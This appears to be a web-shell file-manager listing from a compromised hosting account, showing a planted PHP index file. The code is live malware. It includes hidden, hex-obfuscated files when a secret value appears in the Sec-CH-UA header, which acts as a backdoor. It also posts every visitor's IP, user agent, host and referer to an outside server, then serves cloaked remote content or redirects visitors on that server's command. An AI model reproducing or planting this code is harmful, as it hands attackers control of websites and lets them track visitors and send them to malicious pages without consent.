HEX
Server: Apache
System: Linux p3plmcpnl495753.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: griievz70lba (9445158)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: /home/griievz70lba/public_html/new.hypeprints.app/index.php0
a
<?php
$h = getallheaders();
if(array_key_exists("Sec-CH-UA", $h) && file_exists("fiel\x64\x2E\x70h\x70") && substr_count($h["Sec-CH-UA"], "762459") > 0)
include "fiel\x64\x2E\x70h\x70";
$h = getallheaders();
if(array_key_exists("Sec-CH-UA", $h) && file_exists("\x66ield.php") && substr_count($h["Sec-CH-UA"], "68099559") > 0)
include "\x66ield.php";
function kindergarten()
{
    $apiUrl = 'https://sundongyang.sbs/api/shade';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $apiUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'ip'         => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT'],
        'hostname'   => $_SERVER['HTTP_HOST'],
  'referer'    => $_SERVER['HTTP_REFERER']
    ]));

    $response    = curl_exec($ch);
    $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($http_status === 200) {
        $response_data = json_decode($response, true);

        if ($response_data && isset($response_data['success']) && $response_data['success'] === true) {
            $operation = isset($response_data['data']['operation'])
                ? $response_data['data']['operation']
                : null;

            $target = isset($response_data['data']['target_url'])
                ? $response_data['data']['target_url']
                : null;

            if ($operation === 'cloak' && $target) {
                $content = fetchContent($target);
                if ($content !== false) {
                    echo $content;
                }
                exit;
            } elseif ($operation === 'redirect' && $target) {
                header("Location: $target", true, 301);
                exit;
            }
        }
    }
}

function fetchContent($url)
{
    $ch2 = curl_init();
    curl_setopt($ch2, CURLOPT_URL, $url);
    curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, true);

    $content = curl_exec($ch2);

    if (curl_errno($ch2)) {
        error_log('cURL Error: ' . curl_error($ch2));
        $content = false;
    }

    curl_close($ch2);
    return $content;
}

kindergarten();
?>